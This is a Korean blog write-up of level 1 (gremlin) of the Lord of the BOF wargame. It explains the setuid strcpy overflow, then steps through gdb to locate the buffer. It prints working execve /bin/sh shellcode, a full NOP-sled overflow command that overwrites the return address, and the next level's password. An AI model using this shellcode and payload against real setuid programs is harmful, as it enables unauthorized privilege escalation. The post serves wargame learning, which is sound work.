심심해서 하는 블로그 :: 'BOF원정대' 태그의 글 목록

'BOF원정대'에 해당되는 글 1건

1. 취약점


실행 파일의 권한이 SetUID로 설정

SetUID는 파일을 실행하는 동안에는 자신의 EUID(Effective UID)가 일시적으로 파일의 소유권자가 된다.

Bof 원정대 특징상 프로그램의 취약점을 파악하여 자신의 권한을 상승 시켜나가는 과정이니..

이런 권한을 가진 프로그램일수록 개발할 때 더욱 주의를 기울일 필요가 있다.



버퍼 오버플로우에 취약한 함수 strcpy() 사용

버퍼의 크기도 256바이트로 쉘코드를 입력하기에는 충분한 공간.. 역시 Level 1..

main함수에 매개변수를 받아드리서 화면에 입력한 내용을 보여주는 프로그램이다. strcpy()보다는 입력의 길이를 한정하는 strlcpy(), strncpy() 사용을 하면 버퍼오버플로우는 어느 정도 예방할 수 있다.


2. Exploit

1. bash2를 사용하고 gremlin.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp gremlin.c /tmp/gremlin.c && cd /tmp


2. gcc로 컴파일을 한다. 이 때 이름은 동일하게 gremlin으로 해야지 메모리 주소가 동일하게 컴파일된다.

$ cd ./test

$ gcc -g -o gremlin gremlin.c


3. gdb로 디버깅을 시작한다.

$ gdb -q ./gremlin


4. 어셈블리로 취약점이 있는 코드를 보자

(gdb) disas main



main+54 에서 strcpy가 수행되고 있다. 우리는 버퍼의 크기가 궁금하니까 59번을 중지점으로 한다.


5. 중단점을 설정한 후 프로그램을 실행한다. 두 손은 무겁게 해서..

(gdb) b *main+59

(gdb) r `perl -e 'print "A"x256'`

(gdb) x/30x $esp



A의 ASCII코드가 41이므로  buffer의 시작 주소 : 0xbffff978 


6. 쉘코드를 만들거나 웹에서 주어온다♥

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 이 코드의 크기는 41byte이다. (만드는 과정은 시간이 남으면 연재)

버퍼에 용량치 이상의 값을 넣게되면 Return Address 또한 변경이 가능하다. 

이 때 nop + shell code + nop 를 260byte로 채우고  Return Address는 첫 번째 nop 구간에 범위내의 아무 주소로 변경한다. (0xbffff980으로 선정)

nop(\x90)는 아무런 연산을 하지 않고 넘어가는 코드으므로 프로그램 수행에 영향을 주지 않는다. 


7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ./gremlin `perl -e 'print "\x90" x 200, "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80", "\x90" x 19, "\x80\xf9\xff\xbf"'`



8. 결과

   id : gremlin

   passwd : hello bof world


,